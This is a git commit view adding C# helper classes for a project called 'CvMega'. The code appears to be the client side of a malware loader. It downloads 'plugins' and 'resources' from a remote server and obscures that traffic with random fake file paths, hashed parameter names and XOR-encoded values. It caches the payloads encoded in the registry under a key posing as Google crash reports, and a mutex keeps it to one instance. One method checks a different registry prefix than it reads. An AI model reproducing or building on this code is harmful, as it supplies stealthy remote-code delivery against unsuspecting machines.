initial commit
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,92 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Net.Http;
|
||||
using System.Text;
|
||||
|
||||
namespace CvMega.Helper;
|
||||
|
||||
internal class Client
|
||||
{
|
||||
public static string currentHost = string.Empty;
|
||||
|
||||
public static byte[] GetPlugin(string name)
|
||||
{
|
||||
if (name == "Client")
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (RegeditKey.CheckValue("ao" + name))
|
||||
{
|
||||
return SimpleEncryptor.XorEncryptMyKey(Convert.FromBase64String(RegeditKey.GetValue("ao" + name)), 66);
|
||||
}
|
||||
byte[] array = SendGet(new Dictionary<string, string>
|
||||
{
|
||||
{ "command", "plugin" },
|
||||
{ "name", name }
|
||||
});
|
||||
if (array == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
RegeditKey.SetValue("ao" + name, Convert.ToBase64String(SimpleEncryptor.XorEncryptMyKey(array, 66)));
|
||||
return array;
|
||||
}
|
||||
|
||||
public static byte[] GetResource(string name)
|
||||
{
|
||||
if (name == "Client")
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (RegeditKey.CheckValue("oa" + name))
|
||||
{
|
||||
return SimpleEncryptor.XorEncryptMyKey(Convert.FromBase64String(RegeditKey.GetValue("ao" + name)), 66);
|
||||
}
|
||||
byte[] array = SendGet(new Dictionary<string, string>
|
||||
{
|
||||
{ "command", "resource" },
|
||||
{ "name", name }
|
||||
});
|
||||
if (array == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
RegeditKey.SetValue("ao" + name, Convert.ToBase64String(SimpleEncryptor.XorEncryptMyKey(array, 66)));
|
||||
return array;
|
||||
}
|
||||
|
||||
public static string SendGetRequest(Dictionary<string, string> parameters)
|
||||
{
|
||||
byte[] array = SendGet(parameters);
|
||||
if (array == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return SimpleEncryptor.Decrypt(Encoding.UTF8.GetString(array));
|
||||
}
|
||||
|
||||
public static byte[] SendGet(Dictionary<string, string> parameters)
|
||||
{
|
||||
try
|
||||
{
|
||||
using HttpClient httpClient = new HttpClient();
|
||||
StringBuilder stringBuilder = new StringBuilder(currentHost + RandomPathGenerator.GenerateCompletelyRandomPath());
|
||||
if (parameters.Count > 0)
|
||||
{
|
||||
stringBuilder.Append("?");
|
||||
foreach (KeyValuePair<string, string> parameter in parameters)
|
||||
{
|
||||
stringBuilder.Append(SimpleEncryptor.Hash(parameter.Key) + "=" + SimpleEncryptor.Encrypt(parameter.Value) + "&");
|
||||
}
|
||||
stringBuilder.Length--;
|
||||
}
|
||||
string requestUri = stringBuilder.ToString();
|
||||
httpClient.DefaultRequestHeaders.Add("User-Agent", "cvmega");
|
||||
return httpClient.GetAsync(requestUri).Result.Content.ReadAsByteArrayAsync().Result;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using System.Threading;
|
||||
|
||||
namespace CvMega.Helper;
|
||||
|
||||
public static class MutexControl
|
||||
{
|
||||
public static Mutex currentApp;
|
||||
|
||||
public static bool createdNew;
|
||||
|
||||
public static bool CreateMutex(string mtx)
|
||||
{
|
||||
currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew);
|
||||
return createdNew;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace CvMega.Helper;
|
||||
|
||||
internal class RandomPathGenerator
|
||||
{
|
||||
private static readonly Random random = new Random();
|
||||
|
||||
private static readonly string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
|
||||
private static readonly string[] extensions = new string[7] { "", ".txt", ".png", ".jpg", ".html", ".json", "" };
|
||||
|
||||
public static string GenerateCompletelyRandomPath()
|
||||
{
|
||||
int num = random.Next(1, 11);
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
int length = random.Next(3, 20);
|
||||
stringBuilder.Append('/');
|
||||
stringBuilder.Append(GenerateRandomString(length));
|
||||
}
|
||||
if (random.Next(2) == 1)
|
||||
{
|
||||
stringBuilder.Append(extensions[random.Next(extensions.Length)]);
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
private static string GenerateRandomString(int length)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder(length);
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
stringBuilder.Append(chars[random.Next(chars.Length)]);
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace CvMega.Helper;
|
||||
|
||||
internal class RegeditKey
|
||||
{
|
||||
public static string Regkey = "SOFTWARE\\Google\\CrashReports";
|
||||
|
||||
public static bool CheckValue(string name)
|
||||
{
|
||||
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64))
|
||||
{
|
||||
using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: false);
|
||||
if (registryKey2.GetValue(name) != null)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static void SetValue(string name, string value)
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
|
||||
using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: true);
|
||||
if (CheckValue(name))
|
||||
{
|
||||
registryKey2.DeleteValue(name);
|
||||
}
|
||||
registryKey2.SetValue(name, value);
|
||||
}
|
||||
|
||||
public static string GetValue(string name)
|
||||
{
|
||||
if (!CheckValue(name))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
|
||||
using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: false);
|
||||
return (string)registryKey2.GetValue(name);
|
||||
}
|
||||
|
||||
public static string[] GetValues()
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
|
||||
using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: false);
|
||||
return registryKey2.GetValueNames();
|
||||
}
|
||||
|
||||
public static void DeleteValue(string name)
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
|
||||
using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: true);
|
||||
if (CheckValue(name))
|
||||
{
|
||||
registryKey2.DeleteValue(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Web;
|
||||
|
||||
namespace CvMega.Helper;
|
||||
|
||||
public class SimpleEncryptor
|
||||
{
|
||||
public static readonly string secretKey = "cvls0";
|
||||
|
||||
public static string Encrypt(string data)
|
||||
{
|
||||
return HttpUtility.UrlEncode(Convert.ToBase64String(XorEncrypt(Encoding.UTF8.GetBytes(data))));
|
||||
}
|
||||
|
||||
public static string EncryptNonEnc(string data)
|
||||
{
|
||||
return Convert.ToBase64String(XorEncrypt(Encoding.UTF8.GetBytes(data)));
|
||||
}
|
||||
|
||||
public static string Decrypt(string data)
|
||||
{
|
||||
return Encoding.UTF8.GetString(XorEncrypt(Convert.FromBase64String(data)));
|
||||
}
|
||||
|
||||
public static string Hash(string data)
|
||||
{
|
||||
using MD5 mD = MD5.Create();
|
||||
byte[] array = mD.ComputeHash(Encoding.UTF8.GetBytes(data));
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
byte[] array2 = array;
|
||||
foreach (byte b in array2)
|
||||
{
|
||||
stringBuilder.Append(b.ToString("x2"));
|
||||
}
|
||||
return HttpUtility.UrlEncode(stringBuilder.ToString().Substring(0, 10));
|
||||
}
|
||||
|
||||
public static byte[] XorEncryptMyKey(byte[] data, byte key)
|
||||
{
|
||||
byte[] array = new byte[data.Length];
|
||||
for (int i = 0; i < data.Length; i++)
|
||||
{
|
||||
array[i] = (byte)(data[i] ^ key);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
public static byte[] XorEncrypt(byte[] dataBytes)
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(secretKey);
|
||||
for (int i = 0; i < dataBytes.Length; i++)
|
||||
{
|
||||
dataBytes[i] ^= bytes[i % bytes.Length];
|
||||
}
|
||||
return dataBytes;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user